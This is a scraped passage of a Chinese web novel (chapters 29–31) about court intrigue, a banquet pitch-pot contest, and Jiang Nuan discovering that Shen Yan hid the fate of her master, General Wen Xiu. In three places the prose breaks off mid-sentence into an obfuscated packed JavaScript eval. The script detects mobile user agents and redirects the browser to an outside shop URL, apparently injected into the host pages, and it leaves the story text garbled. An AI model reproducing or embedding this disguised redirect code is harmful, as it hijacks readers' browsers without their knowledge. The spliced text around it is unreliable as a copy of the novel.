宋令仪在姜暖耳边补充:“程宝月,翰林院学士的幺女。” 徐瑶继续说:“前不久听令仪提起姜姐姐,说姜姐姐风姿堪比女将军呢!” “你又胡诌!”宋令仪作势去扭她,“我不过是夸了姜姐姐英姿飒爽不拘一格,怎么到你嘴里就又变味儿了。” 徐瑶往姜暖身后躲,俏皮道:“那意思也是差不多的嘛~” 这边正嘻嘻哈哈,那边孟曦却颇为阴阳怪气地开了口,“穿个男人的衣服当了个芝麻小官儿就想做女将军了?” 苏酥连拽她的衣服都来不及,倒是旁边的程宝月跟看猴子似的看着她:“你今儿也吃炮仗了?” 不对啊,输的不是她吗? 宋令仪和徐瑶见状正要过去安抚,姜暖却拨开了她们二人径直走到了孟曦的面前。 “这位孟小姑娘,你对我好像十分不满啊。” 她也真是烦透了这种莫名其妙的敌意。 孟曦脖子一梗,不惧怕地瞪着姜暖。“你是沈晏的人,我自然讨厌你!” 果然是因为沈晏! 姜暖头脑风暴了许久,终于从大脑皮层深处刨出一个词来——捻酸吃醋。 “怎么?你喜欢他?” 话音一落,在场所有人脸上的表情都变得十分古怪。其中反应最大的是孟曦,她至少懵逼了五秒钟,才回过神来:“你说的他是谁?沈晏?”声音大得能掀翻房顶了。 姜暖茫然:“不然?” 孟曦的表情突然变得像生吞了十个苍蝇似的,咬牙切齿地挤出了四个字:“你好歹毒。” 姜暖:“哈?” 徐瑶笑得已经直不起腰了,身子半倚在宋令仪的身上。苏酥还在状况外,程宝月直接朝姜暖竖起了大拇指。 宋令仪笑容不太自然地向姜暖解释道:“我还没来得及同你介绍,她叫孟曦,是新上任吏部尚书的女儿,也是温老将军的亲外孙女。” 这个温老将军,也就是温岫的义父。 温岫将军因为沈晏而死,所以这个孟曦可谓是沈晏在全昭宁城最大的黑粉头子。 姜暖刚才竟然问孟曦是不是喜欢沈晏,这属于是当面给她喂屎吃了。 这确实是姜暖没想到的。 可是她也没参与这事儿啊,难道就因为沈晏给她提供了一个包食宿的工作,她就被牵连了? 好没道理啊。 沈晏始终要欠她一顿毒打的,她觉得。 自雨亭的客人越聚越多,但大多只三三两两凑一起。这边玩投壶,那边就玩击壤,不想玩游戏的便并排坐一起啖瓜聊天。 程宝月还在为刚才输给孟曦而不快,此时见她们磨磨唧唧不知道有什么吵的,径直冲过去拉着孟曦说要再比试一场。 “再来一次你还是我的手下败将。”孟曦也不管姜暖脑子是不是有问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16654112|187143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 题了,撸了袖子就上场了,暂时把方才的不愉快抛诸脑后。 程宝月摩拳擦掌:“话别说太早!” 结果孟曦又是三连进,程宝月只投进去两根。她被气得坐在凳子上一口气吃完了果盘里的甜瓜。 宋令仪见状立刻下场支援,但或许是孟曦今日投壶太顺了,两人先是打了个平手,最后加试一轮,宋令仪的木矢从壶里弹出来了。 连胜了两个人,周围的小姑娘们都为孟曦喝彩。 徐瑶玩这个是弱项,便邀姜暖下场玩一玩,杀一杀孟曦的锐气。姜暖没有推脱,而是要求改一下规则。 孟曦哼了一声,大方道:“你想怎么改?” “每人连投十次如何?” 这是什么规矩,从来没这么投的。 孟曦想了一会儿道:“依你。” 徐令仪让小厮去取了一把崭新的矢来,一人分发了十支。孟曦的是红色的,姜暖的是黑色的。 其他的小姑娘瞧这边热闹,纷纷凑过来围成一圈,嘀嘀咕咕地交谈着。 第一把,孟曦让姜暖先来。 姜暖倒是跟她客气了一下,“没玩过,要不你先做个示范?” 孟曦鼻子里发出轻哼,站在白线外自信地抬手,手里的木矢稳稳当当地落进了壶口。 “孟小姐今日手气真好。” “应当是私下偷偷练了吧?” 连着投了六□□壶口的位置越来越小,等到了第八支的时候,孟曦便再也投不进去了。 十进七,也是一个不错的成绩了。 孟曦自信满满地让出了位置。 轮到姜暖的时候,众人皆屏息以待,猜测是不是隐藏的高手,结果这第一支就飞出去了老远。 程宝月目瞪口呆,“这个看起来,比我还差啊……” 人群里有人小声说:“还真是第一次玩呐,看来是赢不了咯。” 姜暖不以为意地掂了一下手里的木棒子,紧接着投出去第二支。 叮—— 只在壶口轻轻擦过,掉在了壶边。 “哎呀,真可惜。” “她最后不会一支都进不了吧?怪可怜的。” 等投掷第三支的时候,姜暖抬起的手肘微微调整了一下高度。 第三支则稳稳当当地落进了壶口。 不等众人拍手叫好,紧接着是第四支、第五支、第六支…… 姜暖保持着同一个姿势,同一个速度,同一个力道,一口气不停歇地将手里剩下的八支都投进了壶口。 一时间亭中只能听到哐啷——哐啷——哐啷—— 所有的姑娘眼神都随着木矢被投掷出去的轨迹移动,整齐地像在舞台上紧盯着指挥棒上下翻飞的演奏者们。 姜暖投完了拍拍手,一脸不以为意道:“也不难嘛。” 程宝月再次目瞪口呆,“这投壶,还能这么玩的?” 人群从寂静中复苏,开始叽叽喳喳地讨论着姜暖的获胜,那一双双看向她的眼睛都透露出些许热切的崇拜来。 徐瑶在一旁夸赞道:“果然是英姿飒爽呀~” “我就知道姜姐姐不会输。”宋令仪一双眼睛亮晶晶的,语气掷地有声。 孟曦有点不甘心,但是也不得不承认自己输了,跺了一下脚道:“算你厉害。” 又气鼓鼓地说,“你别高兴得太早,我迟早会赢你的。” “我觉得不可能。”姜暖贱兮兮地说。 “你你你……” 话没说完,孟曦直接转身跑了,苏酥急忙跟在后面安慰道:“其实你也很厉害的,第一次就连续投进了七支呢!” 这边刚结束,前头便来了一个嬷嬷,说是郭老夫人要见姜暖。 29. 第 29 章 这嬷嬷是老夫人的陪嫁丫鬟,宋令仪要留在此处待客不便离开太久,所以姜暖独自跟着嬷嬷去了老夫人的院子。她们在抄手游廊的时候碰到了宋怀轩,沈晏跟在后头。 宋怀轩显然是听说祖母派了身边的刘嬷嬷来请姜暖,便寻了借口过来。至于后头为什么还跟着一个沈晏,刘嬷嬷和姜暖也同时看向他,生出一丝疑问来。 沈晏表情十分自然,坦诚道:“听宋副统领说老夫人院里的莲花开得极好,今年更是开了几朵罕见的并蒂莲,便想过去瞧瞧。” 这个理由倒是无可指摘,这郭老夫人院里的莲池确实是昭宁城内数一数二的好,每年老夫人的寿诞莲池的莲花总是开得特别好,宾客想前往院内赏莲也是常有的事。 往年寿诞没有宴请八方,所以一般都是到八月才会有好莲者特地递了帖子登门。今年宴席虽来人众多,但由于此时日头正毒辣,倒还没有人提起赏莲一事。 刘嬷嬷不好拒绝,只好领了人一道前去,入院门时吩咐了守门的婆子去库房取了华盖来,替安王世子遮阳。 宋怀轩原本还想着到祖母屋里看看情况,但沈晏非要来赏莲,还拉他作陪,他只能像个怨种似的陪他在外头的莲池边晒太阳。 “世子,你什么时候开始观赏这类花草了?”宋怀轩问。 “刚刚。”沈晏回。 宋怀轩站在华盖边缘叹了口气,他之前根本就没提过并蒂莲这事。 刘嬷嬷将姜暖带进了里屋,只见为首端坐着一位身穿绣着莲花纹样衣服的老夫人,花白的头发规整地梳起,佩戴了一套嵌了红宝石的喜庆头面。 两侧分别坐着几个上了年纪妇人,想来是同郭老夫人交好几位夫人,她们从姜暖进来就好奇地盯着她打量。 屋中央放着一个大缸,缸里放的是冰块,此时已经融化了一部分。 刘嬷嬷恭恭敬敬地回了老夫人说人已经带到,还顺带了说了安王世子来院里赏莲的事。 郭老夫人忙问:“可有人作陪?” “老夫人放心,大少爷在一旁伺候着。” 郭老夫人这才放下心来,抬头看着姜暖,招手道:“姜录事这边坐。” 姜暖先是给郭老夫人行了个晚辈礼,这才在她左手边的位置坐下来。 郭老夫人语气关切:“前段时间,怀轩的马不小心害得姜录事摔断了右腿,不知现在是否无恙了?” “好得差不多了,想必过段时间便可健步如飞了。” 郭老夫人笑着点点头,道:“那便好,那便好。”说完眼神示意了一下刘嬷嬷,刘嬷嬷会意,从里屋里拿出一盒木匣子。 “虽然前段时间怀轩亲自登门送了致歉礼,但那是他自个儿的心意。”嬷嬷走到姜暖面前将木匣子打开,露出了匣子里的物件。 郭老夫人又道:“今日这东西是老身代表这宋府赠予姜录事的。” 那是一块质地很好的玉佩,上面雕刻着一个图腾,因为有点抽象,姜暖一时看不出来是个啥。 还是身边有个贵妇惊讶地说出了口,“老姐姐竟然舍得将这刻着宋氏一族族徽的物件儿拿出来。” 那几个离得远的夫人面上皆是微讶,这玉佩原本只是个质地普通的青白玉,但是刻上了家族的族徽可不一样了。那就是一个信物了,凭此信物可向该家族兑换一个承诺。 “哎呀姜录事,你今儿可是得了一个大机遇!”几位妇人你一言我一语地将这玉佩的来历说了个七七八八。 姜暖听完第一反应竟然是,这玉佩好像不能拿去卖钱。 …… 等姜暖拎着那个玉佩出来的时候,沈晏和宋怀轩两人还在莲池边站着,宋怀轩略黑的面庞都被晒得泛了红,沈晏却只有额头微微有汗,脸色还是一如既往的白皙。 宋怀轩见姜暖出来,莫名有点紧张,他忙凑上去,差点同手同脚了。“祖母可说了什么?” 姜暖拎着玉佩给他看,宋怀轩一点也不惊讶,反而继续问:“没问你别的什么吧……” 他的表情有点小心翼翼,搞得姜暖还以为自己是不是走神的时候听漏了什么重要的信息。但确实也没说旁的什么,她摇了摇头,宋怀轩突然像松了一大口气似的。 姜暖:“?” “走了。”沈晏径直穿过两人,难得露出一点食人间烟火的表情,“热死了。” “你不是看莲花?”姜暖追在他后头问。 这院子里的莲池这么大,走上一圈也得费些时间吧,她方才只是进去了一小会儿,肯定不够绕一圈的。 “看完了啊,都长得差不多。” 姜暖啧了一声,道:“你刚才可不是这么说。” 宋怀轩在原地挠了挠头,祖母给了那玉佩,应该是没有旁的心思了。见两人越走越远,他赶紧追了上去,顺便遣散了举着华盖的下人。 此次他回来除了给祖母贺寿之外,还要解决自己的终身大事。 他十多岁便去了北荒历练,到如今已经二十有四,身边一直都没有人,祖母便一直念叨着让他早些回来娶个孙媳妇儿。他最开始一直找借口推脱,直到此番不得不回来给祖母贺寿。 他原本打算给祖母过完寿诞,便立马返回北荒,谁知皇上一道圣旨派他去卧牛山剿匪。后面便顺理成章地给他封了个御前副统领的职位,将他留在了昭宁城。 他刚回来的时候祖母就给他准备了几张画像让他过眼,但他最近事多倒是一直没看。后又恰逢李家的乍然倒台,祖母又差人将那些画像都收走了。 他还以为可以暂时消停一段时日了,谁知还没自由两天,祖母竟挑中了礼部左侍郎苏柏舟的嫡女苏酥。 他觉得娶妻就该娶一个两情相悦的,便推辞了。正好那会儿他对姜暖的事儿比较上心,还挑了祖母之前送他的羊脂玉雕成了小马的模样亲手送给姜暖。祖母便误会了他对姜暖有意,前日私下问了他,说可以同意他将这位姜录事收进房里当个姨娘,但是正妻必须得是苏柏舟的女儿。 宋怀轩顿时一个头两个大,忙解释说他不是那个意思,姜录事是不可能进府当他的姨娘的,但他越解释祖母反而却固执地认为他是铁了心要娶姜暖做正妻。所以今日他匆匆忙忙过来,也是害怕祖母在姜暖面前说出什么骇人听闻的话来。 不过还好,看样子,祖母应该是没有提及的。 待到宴席要开始之前,宫里又差了人前来道贺。 是皇后娘娘身边的守忠公公。 郭老夫人出自郭氏一族,纵然是隔了十万八千里的远亲,真要论起来,这皇后娘娘也算是郭老夫人的堂侄女儿。 如今皇后娘娘病重,她身边的守忠公公亲自前来祝贺,想必是皇后有意拉拢她这个血缘稀薄得如白水的远亲。 “公公驾临寒舍,老身有失远迎了。”郭老夫人由刘嬷嬷搀扶着到了待客厅。 守忠甩了一把手上的拂尘,浅笑道:“老夫人客气了,咱家只是代皇后娘娘前来恭贺老夫人洪福齐天。” 老夫人呵呵笑道:“皇后娘娘抬爱了……” 守忠也不多话,直接让人将礼物抬上来。 不一会儿,只见两个力大的小太监将一座半人高的红珊瑚抬了进来。 郭老太太面目微怔,惶恐道:“皇后娘娘送如此贵重之礼,真真是折杀老身了……” 这红珊瑚还是多年前番邦朝贡时,特意进献给皇后的,皇后自是爱不释手。没想到今日竟将此物作为贺礼送了来。 守忠连忙上前扶了一把郭老夫人欲下跪的身体,宽心道:“老夫人见外了。” “老夫人与皇后娘娘本就是同宗同源,若按照民间的说法,皇后娘娘见了老夫人也是要叫一声姑姑的。” 老夫人听罢,还想跪。“公公这话让老身惶恐。” 守忠弯腰又扶,笑道:“总之皇后娘娘心里还是记挂着老夫人的。” “老身再次谢过皇后娘娘的厚爱。”郭老夫人对着守忠欠了欠身,又说:“今日辛苦公公跑一趟了。” 守忠将拂尘换了胳膊搭着,“既然礼已送到,那咱家这便回去复命了。” 郭老夫人示意嬷嬷将一包银子递给守忠,守忠用帚柄将那袋银子推了回去,道:“今日是老夫人寿诞,哪儿有老夫人往外送福气的道理?” 看来守忠公公外出办事从来不收银子的传言不假,郭老夫人略沉思了一会儿,便改口道:“听闻公公喜爱兰花,恰巧府中暖房培育了几株兰花,公公不妨赏脸去挑几株。” 守忠脸上的表情有了些许变化,问:“可有素心兰?” 郭老夫人开怀:“自然是有的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16657999|187143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”这个品种并不罕见,她立即遣了人去暖房取品相最好的两株来。 不消一刻钟,守忠身边的两个小太监一人抱着一盆普通的素心兰跟在守忠的身后离开。 姜暖听说皇后娘娘派了贴身的太监来给郭老夫人送寿礼,便好奇地站在不远处观察。 沈晏不知道什么时候摸了过来,拍了拍她的肩膀问:“你鬼鬼祟祟地在这儿做什么?” 姜暖头也没回,“偷窥啊……” 她表现得不明显吗?就是隔得太远,不然还能偷听里头在说啥。 “这么远你能看得清?”沈晏用一种你怎么这么没出息的表情看她的后脑勺。 姜暖反问:“怎么?你还有其他的方法?” 总不能突人脸上去吧。 哎嘿,你猜怎么着? 还真能。 沈晏领着她就那么直挺挺地站在了出府的必经之路上,迎面看着那个太监撞上来。 “奴才给安王世子请安。”大太监领着两个小太监给沈晏恭恭敬敬地行了个礼。 沈晏抬手免了礼,三个太监才偏了头对姜暖道:“见过姜大人。” 姜暖礼貌地点了个头,就听沈晏问道:“守忠公公这是得了什么好东西?” 守忠讪笑一声,道:“回世子,奴才不过是替皇后娘娘办个差事,老夫人心善体恤奴才辛苦,便赏了奴才两盆兰草。” “不过是普通的素心兰,倒也称不上顶好的东西,恐怕入不了世子的眼。” 这公公全程低眉搭眼地回着话,那个背脊始终保持着一个特定的弧度,嗓门没有刻意的捏细,对比起他后面两个略显瑟缩的小太监来看,他虽为太监,却又不像个太监。 姜暖调转目光,在他们三人的身上一一扫过,确实发现他们身上都佩戴了香囊。 只有这个名叫守忠的公公身上所佩戴的香囊上有纹样,似乎绣的是几片祥云纹。 沈晏已经在两盆素心兰跟前转了一圈,有点意外道:“公公爱兰?” “让世子见笑了。”守忠低头回道:“世人都说君子爱兰,宠之如玉。奴才只是一个阉奴,不过是附庸风雅,在住所养了些兰花,装点门庭罢了。” 两人打着官腔,姜暖听得头疼,好在沈晏也有点不耐,只来回滚了两句文绉绉的话,便放人离开了。 待人走远,沈晏问她:“你瞧出什么来了?” 嚯,敢情是带她来开卷考来了。 姜暖想了想,说:“我记得那天捡到的香囊上就是绣的兰花。” 沈晏补充道:“绣的也是素心兰。” 刻意掉落的香囊,今日又如此明晃晃的贴脸提示,好像生怕他们不知道似的。 “他真的是皇后的人么?”姜暖不由得发出了疑问,怎么感觉好像他的主子另有其人? 李家倒台后,皇后只能仰仗太子母凭子贵,现在只需要找到周正留下来的东西,便有机会将当年的旧案重翻。朝臣大多只是纯粹的太子党,此事一出,那些臣子只会想办法让太子与皇后割席,纵然可能会受到一点牵连,但储君之位却是稳如泰山的。只因皇上膝下除了太子之外,就只有三个还活着的皇子,但都难堪大任。 三皇子年少在北苑围猎时,被山中滚落的巨石砸断了双腿,从此一蹶不振,终生坐在轮椅上闭门不出。 七皇子虽然健康且头脑也正常,但成日做女装打扮,比那女子还娇上三分,实在是难等大雅之堂。 九皇子就不必说了,从小便体弱多病,出门吹个风都要在床上瘫几天,能不能活到登基都不好说。 所以在文武百官看来,以上哪一个都不能荣登储君之位。 姜暖思索了一会儿,谨慎地开口道:“我怎么感觉,眼下这情况是有人想顺势推你当太子呢?” 沈晏凉凉地看了她一眼,道:“你是觉得自己已经活够了岁数吗?” 姜暖忍不住嘟囔道:“马扁子一死,那几句戏言不是真的也变成真的了。” 若马扁子不死的话,那几句戏言大家就当听个皇家八卦,乐呵乐呵就过去了。但是马扁子却身穿绫罗绸缎死在了东市的朝阳桥下。 这般欲盖弥彰的手段,不就是想将沈晏贴上皇帝私生子的标签吗? 看来,这浑水下的鱼还不止一条。 30. 第 30 章 姜暖腿好了之后,便蠢蠢欲动地想去马场骑马。 沈晏一眼看穿她的心思,便说给她挑了一匹白马,并且打算亲自教她。 姜暖本来想说我都会了还教什么,但又想着可以让沈晏给她牵马,心头突然有一种莫名的爽感,便龇个大牙跟他走了。 到了王府的马棚,她果然看见了一匹发光的白马,像一位白雪公主似的站在脏兮兮的马棚里。马儿身上的鬃毛像绸缎一般富有光泽,让她一眼就爱上了。 “这马叫什么名字?” 沈晏垂眸暼了一下她被一匹马惊艳的表情,道:“马的名字应该由主人来起。” 嗯? 嗯嗯? “你是说,要把这位白雪啊不,白马送我吗?”姜暖不可置信地看着沈晏。在得到他肯定的回答后,看着他的眼神里突然多了一点沈晏暂时读不懂的意思。仿佛在她眼里,他突然变成了一个对她而言很重要的人。 应该是一种喜欢吧,沈晏心想。 但其实是姜暖在心里喊他义父。 …… 姜暖在沈晏的引领下,与自己新得的坐骑进行情感交流,她抚摸着手下光滑如丝绸的马脖子询问着这匹白马的来历。 沈晏说这马跟他的踏岳是同一批出生的小马驹,是他弱冠之年皇上送的。后来又放在军营里养了许久。这匹白马因为一直没骑过,所以暂时还没有名字。 “你想给它取个什么名字?”沈晏问。 姜暖瞧着这通体雪白的马儿,突然灵光一闪,搂着马脖子道:“踏雪。” 沈晏突然不自在地眼神游移了一下,柔声评价道:“好听。” 沈晏带着她在北郊马场溜达了几圈后,姜暖已经能自己把控速度了。一黑一白两匹骏马在宽阔的马场内并肩飞驰,看得场下的沈慕朝十分羡慕。 这时候,宋怀轩提了两瓶酒过来。沈慕朝一看是他,立马翻了个白眼。 自从宋怀轩回了昭宁城,他出门上个茅房都能遇上,这昭宁城也不知道什么时候变得这么小了。 宋怀轩假装没看到沈慕朝的白眼,上前问候了一声,便退到一边安静地不出声。 恰好此时,姜暖也跑过瘾了,同沈晏慢悠悠地往回骑。等到了休息的亭子,才发现不仅七殿下来了,连宋怀轩也在。 两人跟约好了似的。 姜暖下了马问:“你俩一道来的?” “你什么时候眼瞎的?”沈慕朝又翻了个白眼,他坐在这里起码有一炷香了,他们来来回回跑那么多圈,就愣是没看到? 姜暖干笑了一声,又去问宋怀轩手里拿的什么。 “听说你痊愈了,便买了两坛酒来庆祝一下。”在旁边吹了好一会儿热风的宋怀轩这才走过来坐下,将手里的酒坛子往桌子上一放,从怀里掏出四个小巧的酒杯来。 姜暖抽了抽鼻子,便知道这是青梅酒。 上次喝这玩意儿好像很久了,她倒确实有几分想念起来。 沈慕朝哼了一声,嘀咕了一句莽夫,不知道从哪里掏出来一束黄色的野菊花,放到姜暖的手里。 “这可是我今日亲手摘的,还带着露水呢。” 那小表情颇有点宠物在主人面前争宠的嫌疑。 姜暖捧场地猛嗅了一下,将花束妥帖地揣在了怀里,给他顺了一把毛:“殿下费心了。” 沈慕朝顿时满意,哼哼道:“还是我送的礼物最贴你心吧。” 没有女人能拒绝一束鲜花,何况还是亲手摘的。说完意有所指地暼了一眼宋怀轩。 有些莽夫,可能是在臭男人窝里待久了,遇事只知道喝酒。 “那没有。” 姜暖将倒满酒水的酒杯端起来,眼睛看向旁边一直默不作声的沈晏道:“最喜欢的应该还是世子送的那匹马。” 眼瞅着沈慕朝脸都要绿了,姜暖赶紧补救道:“当然心最诚的还得是七殿下您,一大早就亲自去摘花。” 沈慕朝的气儿稍微顺了点。 姜暖喝完一杯,感觉有点不太一样,便问对座的宋怀轩:“你这酒,是哪里买的?” 宋怀轩:“西市的酒肆啊,怎么了?” 姜暖飞快地看了一眼沈晏,对方垂着眼帘,不知道在想什么。 “没什么。” 她记得之前沈晏给她喝的青梅酒十分像师父酿的,当时沈晏说大昭的酒肆都有卖的,导致她一度怀疑这酒应该是姜暖传下来的。 可如今这宋怀轩在酒肆买来的酒分明没有那股特殊的香味,那么也就是说,当时沈晏对她说谎了。 他的那坛酒绝对不是从酒肆买来的。 极有可能就是师父亲手酿的! 宋怀轩和沈慕朝此时都察觉到姜暖的表情有点不对劲,而且沈晏也有点反常。虽然他平时话本来就少,但是现在瞧着怎么像是有点心虚呢? 他们的眼神在两个人之间来回切换,最后沈慕朝率先打破了尴尬。 他问姜暖:“是这酒不好喝?” 姜暖放下了酒杯,道:“是挺一般的。”完了又问:“这大昭的青梅酒都是这个味儿吗?” 沈慕朝没喝过青梅酒,自然答不上来,他看向宋怀轩。 宋怀轩难得拧了一下眉头:“倒也不是。” 姜暖:“哦?” “大昭的酒肆里确实只能酿出这种口感的青梅酒。”宋怀轩似乎陷入了回忆,缓声道:“但是我认识的一个人,她酿的青梅酒有一股特殊的香味。” 那个时候是承安二十二年,他十六岁,在北荒小有成绩之后便不服管教,屡次身陷敌营差点丢了性命。 父亲责骂他不遵军令,只知道逞匹夫之勇,说完便将他赶了回去。那时候又恰逢温岫将军进京,他不知天高地厚去温府要同她比试,结果被打得找不到北。 他那会儿年轻气盛,受了父亲的责骂,说他一辈子都当不好一个合格的兵。他灰头土脸地被赶回了昭宁城,本想着去挑战大昭有名的女将军证明自己,谁知竟然被打得晕头转向,对方还说他心浮气躁难成大才。 他就躲在永济河边哭,哭自己永远也得不到父亲的赞许,也哭自己竟然像个玩意儿似的被人抛来颠去的耍。 正哭得上头的时候,身侧的柳树上不晓得何时坐了一个人。 “你怎么这么能哭?” 她手里抱着一坛酒喝,脸上还挂着戏谑的笑容。 他一看是刚刚打败他的那个女将军,也不知道在这树上看他哭了多久。他竟然一点也没发现!他下意识想转身逃离。 但是那个女人却叫住了他,她说:“你的父亲前段时间曾修书给我,说是他有个儿子身负一颗赤子之心,将来必是良才。” 温岫跳下来,话音一转:“不过,就是太过心高气傲,迟早在战场丧命。希望我能帮着指点一二,磨一磨他的心性。” “什么意思?”他问。 温岫突然将脸凑近他,笑道:“我帮你重回北荒,如何?” 他记得他当时抹了一把鼻涕,不屑地看了她一眼,“就你?” “就我。”温岫笃定地回答,将手里那剩的半坛子青梅酒分给了他。 后来,宋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他害死了温岫吗? 怕她当场杀了他! 姜暖情绪的转变来得猝不及防,宋怀轩和沈慕朝都在她的眼里看到了泪光,但一眨眼便不见了。再抬头的时候,已经恢复了正常。 姜暖勉力压下了心头的狂风巨浪,她平静地吐出了几个字,“沈晏,你,很好。” 说完跳上凉亭外的一匹马,头也不回地离开了,那匹已经属于她的白马她没带走。 “阿暖……”沈慕装见状想要追上去,沈晏起身拦住了他。 “我去,你们别管。” 说完,沈晏骑着踏岳,牵着踏雪追了上去。 沈慕朝站在原地烦躁地挠了挠头,“怎么好端端的,突然变了脸。” “他俩应该是有什么误会。”宋怀轩也不好判断,但应该是跟他带过来的酒有关。 沈慕朝看着远处消失的人影眯了眯眼睛,脸背着光隐匿在黑暗中,不知道在想什么。 此时,凉亭内只剩他和宋怀轩两个出气的,他想也没想便要动身离开。 “殿下可否载我一程?”宋怀轩在背后喊住了他。 沈慕朝回头奇怪地看了他一眼,问:“你没马?” 宋怀轩尴尬地摸了摸鼻子,道:“姜暖刚刚骑的那匹就是我的。” “……”沈慕朝无语了一瞬,指着马厩里的那些道:“你随便挑一个,改天再还回来便是。” “不太好吧……”那马厩里的马都是有来历的,主人不在,他私自骑了走,和偷马贼有什么两样。 沈慕朝翻了个白眼,道:“那你自己走回去吧。” 宋怀轩:“……” 31. 第 31 章 姜暖这边骑了宋怀轩的马走也没觉得哪里不对,反正闷着头就往皇城的方向去。从玄武门进了皇城后,绕过长乐宫出了朱雀门便一路顺着天街往城郊去了。 沈晏在后头不紧不慢地跟着,也没上前去拦。 他想,总是要让她心里的怒火宣泄一下,等她头脑能冷静下来才能好好聊上一聊。 姜暖知道沈晏在后头,出了明德门她便猛然加速。等一路奔跑到正南门下的时候,方减速停下。 两个人,三匹马,在正南门下急停。守城门的小兵正要喝斥,刚咋呼出声猛然看到沈晏的脸,嘴里的脏话愣是转了个弯,“唉你大爷的……爷爷今晚有空吗?” 对面的小兵猛点头:“有的,兄弟有的。” 姜暖的马原地哒哒转了两圈,她坐在马背上,斜着眼睛看着沈晏。 “安王世子,不给我一个合理的交代吗?” 沈晏低声下气:“你先跟我回府,成吗?” 两个小兵竖起了耳朵。 姜暖冷哼了一声,问:“怎么?这事儿在外头不好说?” 沈晏拧眉:“我不是那个意思……” 姜暖腰腹猛地动了一下,抬起一半的屁股倾身质问:“那你是什么意思!” 两个小兵偷偷往两人的方向挪了一小步。 沈晏无奈了,他不知道咋哄人,只能硬梆梆地回:“我瞒着你是有理由的。” “好啊,那便说来听听。” 两个小兵都要挪到他们跟前了。路过的几个行人也都侧目而视,甚至有两个干脆停在原地,大有看热闹不嫌事大的意思。 沈晏一个眼风扫过去,两个小兵背脊都打直了,连忙站远了些,开始揪着那些进出城门的百姓装模作样地盘问起来。 姜暖这会儿其实冷静得差不多了,左右看了看,这里确实不是个说话的地方,于是夹了一下马肚子,昂着脑袋越过沈晏往回走。 两人并肩而行,不紧不慢地跨过了折柳桥,姜暖往右拽了一下马头,便顺着桥下的小路,沿着永济河的分支逆流而上。 她随机挑选一棵柳树下了马,将马拴在树干上。 “此处没人,世子可放心说了?”。 沈晏将两匹马拴好,才道:“不告诉你,是温将军的意思。” 姜暖猛回头,问:“什么意思?”敢情还错怪他了? 沈晏低下了头,嗓音变得有些嘶哑,“因为她说这句话的时候,知道自己快死了。” 那场伏击战,最后一个见到温岫将军的,只有沈晏。 沈晏最初作为第一目标,不幸陷入包围奋起抵抗。一直坚持到最后温岫带着援军赶来,本想是助他们脱困,谁知他们才是真正的鱼饵,或者说对方早就做好了一箭双雕的准备。 生死存亡之际,温岫利用地形带兵吸引了大部分的火力,并安排了两个亲兵送重伤的沈晏冲出了包围圈。 将他送走之前,温岫对他说的最后一句话便是:“如果有一天你遇到了她,请你不要告诉她我的消息。” 沈晏知道,这个她指的是谁。 姜暖的手有点轻微地颤抖,她忍不住蹲下身来,用手指一遍又一遍地捋着自己脑门的头发。 以前单独出任务的时候,师父曾经同她说过。如果有一天,她单独出任务没能回来,也不必将她的尸体带回,就当作她还活着,远走高飞自由自在去了。 不用烧纸,不用悼念,要祝福她自由。 当时姜暖还有点生气,说要死一块儿死,自己偷偷死算什么? 姜竹一把按住了她的脑袋搓了个乱七八糟,“可别,我可不想到了那边还得拉扯你。” “小丫头片子整天就想着死死死,活着多好啊,活着还有馒头吃呢。” “明明是你先说的死。”姜暖掀起眼皮,露出了大半个眼白,用头撞她的肚子:“谁让你买的我,你不拉扯谁拉扯!” 姜竹腹部用力:“哟呵,给你拉扯到跟二狗高差不多了,怎么还能一直拉扯的,到死了也不放过我啊。” 二狗是基地里养的一只狼崽子,现在站起来可能有个一米五吧。 姜暖没说话,气呼呼地钻进了自己的小树屋睡觉去了。 这时候过来一个金发碧眼的女人,扔给姜竹一听啤酒,用英文说道:“姜,你的孩子可能到了叛逆期。” 姜竹耸了耸肩,用商量的口吻说:“莉莉,要不你把二狗给我养吧。” 这个叫莉莉的女人哈哈大笑着拒绝了她,姜暖比狼崽子还凶,她可吃不消。 回忆暂停,沈晏在她的身侧站立,继续说道:“那天在那辆马车上,我其实有想过要不要告诉你真相。”但是他不能违背温岫将军的遗愿,所以最后还是选择了隐瞒,尽管他知道,这个事情根本瞒不了多久。 两人沉默着也不知道过去了多久,姜暖慢慢地站起身来,声音有点沙哑:“她告诉了你多少?” 既然沈晏一早便知道她的来历,想必师父对他说过不少关于前世的事情,她想知道师父究竟对他说了多少。 沈晏倒一时不知道从何说起了。其实他初到青罗城时,温老将军虽将他安置在了温岫的麾下做事,但他跟温岫却一次面都没有见上,因为温岫时常带领麾下的三千精兵神出鬼没地在无极山中进行秘密训练。每次他听说温岫将军人回来了,但他去找人的时候,往往人又不见了。 到最后他就开始怀疑这个温岫是故意躲着他,有一回他实在忍不住了便去找温老将军要说法。但是温老将军却解释说温岫不是那样的人,最近不过是在训练新兵,一时半会儿顾不上他也是正常的。 可那会儿他已经在青罗城当了半年的吉祥物了,心里憋着一股气没地儿撒,只能天天在回城的必经之路蹲点。 